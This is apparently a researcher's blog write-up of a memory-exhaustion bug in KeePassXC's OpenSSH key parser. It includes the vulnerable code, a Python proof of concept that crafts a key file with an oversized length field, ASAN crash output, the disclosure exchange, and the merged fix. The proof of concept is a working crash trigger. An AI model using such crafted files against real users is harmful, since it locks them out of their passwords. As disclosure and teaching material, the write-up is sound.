||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

Finding Memory Exhaustion in KeePassXC (And Getting Downgraded to a Bug)


Finding Memory Exhaustion in KeePassXC (And Getting Downgraded to a Bug)

TL;DR

I found an unbounded memory allocation bug in KeePassXC’s SSH key parser where importing a crafted key file crashes the entire password manager. Reported it as a security issue, maintainer said “it’s just a bug, not security”. Got credited in the fix anyway. Here’s what happened.

Background

I was looking for C/C++ projects that handle file parsing , classic attack surface for memory bugs. KeePassXC caught my eye: popular password manager (24k+ GitHub stars), written in C++, handles multiple file formats including SSH keys.

Password managers are interesting targets because:

  • They handle sensitive data
  • File import features = untrusted input
  • Crash = user can’t access their passwords

I checked their SECURITY.md first:

“Unauthorized access to sensitive user data (e.g., passwords)” ✓

“Remote code execution or escalation of privileges” ✓

“Crashes or misbehavior resulting from normal use (report this as a normal issue)” ✗

So crashes from “normal use” aren’t security issues. But what about crashes from malicious input? That’s different, right? Let’s find out.

Mapping the Attack Surface

First thing I do with any codebase , figure out what handles external input:

git clone https://github.com/keepassxreboot/keepassxc.git
cd keepassxc
tree -L 2 -d src/

Interesting directories:

  • src/format/ - KDBX database parsing
  • src/sshagent/ - SSH key handling
  • src/streams/ - data stream processing
  • src/browser/ - browser communication

I picked sshagent/ because SSH keys are commonly shared files. Easy social engineering vector: “hey use this key to access the server”.

Finding the Bug

Started with the smallest file that does actual parsing:

wc -l src/sshagent/*.cpp

BinaryStream.cpp at 198 lines looked promising - low-level binary parsing. Opened it up and found this:

bool BinaryStream::readString(QByteArray& ba)
{
    quint32 length;

    if (!read(length)) {
        return false;
    }

    ba.resize(length);  // <- no validation!

    if (!read(ba.data(), ba.length())) {
        return false;
    }

    return true;
}

Wait. It reads a 4-byte length from the file and immediately allocates that much memory. No size check. quint32 means the length can be anywhere from 0 to 4,294,967,295 bytes (4GB).

that’s a solid memory exhaustion vulnerability.

Tracing the Code Path

Found the bug, but where is it actually used? Quick grep:

grep -n "readString" src/sshagent/OpenSSHKey.cpp
315:        stream.readString(m_cipherName);
316:        stream.readString(m_kdfName);
317:        stream.readString(m_kdfOptions);
329:            if (!stream.readString(publicKey)) {
343:        if (!stream.readString(m_rawData)) {

Five calls to readString() in the OpenSSH key parser. Let me see the context:

if (QString::fromLatin1(magic) != "openssh-key-v1") {
    m_error = tr("Key file magic header id invalid");
    return false;
}
stream.readString(m_cipherName);   // <- can allocate 4GB
stream.readString(m_kdfName);      // <- can allocate 4GB
stream.readString(m_kdfOptions);   // <- can allocate 4GB

Perfect. User imports SSH key file → parser reads it → readString() tries to allocate gigabytes → crash.

Building with AddressSanitizer

Before writing a PoC, I wanted to build with ASAN to catch the exact moment of failure:


mkdir build && cd build
cmake .. \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DWITH_XC_SSHAGENT=ON

make -j$(nproc)

Build took about 10 minutes. Now for the fun part.

Writing the PoC

OpenSSH key format is straightforward:

  • Magic header: openssh-key-v1\0
  • Then length-prefixed strings

I just need to craft a key with an oversized length field:

#!/usr/bin/env python3
import struct
import base64

magic = b"openssh-key-v1\x00"

# Set length to 2GB
malicious_length = 0x7FFFFFFF
cipher_length = struct.pack('>I', malicious_length)
cipher_data = b"A" * 100

data = magic + cipher_length + cipher_data
encoded = base64.b64encode(data).decode()

pem = "-----BEGIN OPENSSH PRIVATE KEY-----\n"
for i in range(0, len(encoded), 64):
    pem += encoded[i:i+64] + "\n"
pem += "-----END OPENSSH PRIVATE KEY-----\n"

with open("malicious_key.pem", "w") as f:
    f.write(pem)

print("[+] created malicious_key.pem with 2GB allocation trigger")

233 bytes. That’s all it takes to crash a password manager.

Testing

Ran KeePassXC with ASAN, created a new database, went to SSH Agent settings, imported the malicious key:

==1526246==ERROR: AddressSanitizer: requested allocation size 0xffffffffffffffff 
(0x800 after adjustments for alignment, red zones etc.) exceeds maximum 
supported size of 0x10000000000 (thread T0)
    #0 0x7ff82b31a0ab in malloc
    #1 0x7ff8292ea571 in QArrayData::allocate
SUMMARY: AddressSanitizer: allocation-size-too-big
==1526246==ABORTING

Boom. ASAN caught the allocation attempt and killed the process. Without ASAN, this would be an OOM crash or system freeze.

Reporting

I submitted through GitHub Security Advisory since their SECURITY.md specifically mentions it. Included:

  • Vulnerable code location
  • PoC script
  • ASAN output
  • CVSS score (5.5 Medium)

The maintainer responded the same day:

image

“This doesn’t appear to be a security vulnerability at this point. Do you agree?”

My argument was: for a password manager, DoS = user can’t access any passwords. Plus SSH keys get shared in teams, social engineering is realistic.

His counter: no data leak, no RCE, user can just restart. The “A” in CIA isn’t enough when C and I aren’t affected.

We went back and forth a bit. I mentioned responsible disclosure timing , posting a public PoC before a fix could be abused. He responded:

image

“There is a near-zero chance of that happening. This is very much a non-issue in actual practice.”

The Fix

Despite disagreeing on classification, he fixed it within hours. PR #12606 added a 10MB size limit:

if (length > MAX_STRING_SIZE) {
    return false;
}
ba.resize(length);

Simple fix. Should have been there from the start.

I got credited in the PR description: “Reported by @Oblivionsage - thank you!”

image

My Thoughts

Look, I get both sides:

From my perspective:

  • Password manager crash = can’t access credentials
  • Realistic attack vector (shared SSH keys)
  • CWE-770 is a real vulnerability class

From maintainer perspective:

  • No data compromise
  • Requires user interaction
  • Just restart the app

He knows his project better than me. And honestly? He handled it professionally - fixed it fast, gave credit, explained his reasoning. Can’t ask for more than that.

The takeaway: not every bug is a CVE. But even without the security label, contributing to open source security feels good. The code is better now.

Lessons Learned

  1. ASAN is essential - Without it, I’d just see “app crashed”. With it, I got exact allocation size and stack trace.

  2. Read SECURITY.md first - Saves drama during disclosure. Know what they consider “security” before reporting.

  3. Maintainers have context you don’t - They know their threat model, their users, their priorities.

  4. File parsers are goldmines - Size fields, length calculations, buffer allocations. Same patterns, same bugs, different codebases.

  5. Credit matters more than CVEs - PR #12606 with my name on it is more valuable than arguing over classification.


Timeline:

  • October 27, 2025: Discovered vulnerability
  • October 27, 2025: Reported via GitHub Security Advisory
  • October 27, 2025: Maintainer response - “not a security issue”
  • October 28, 2025: PR #12606 opened with fix
  • October 28, 2025: Advisory closed
  • October 28, 2025: Public disclosure (fix already merged)

Affected versions: <= 2.7.10

Fixed in: PR #12606

CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)


Want to find similar bugs? Pick any C++ project that parses files, grep for allocation functions, check what controls the size parameter. You’ll find something.


← Back to Home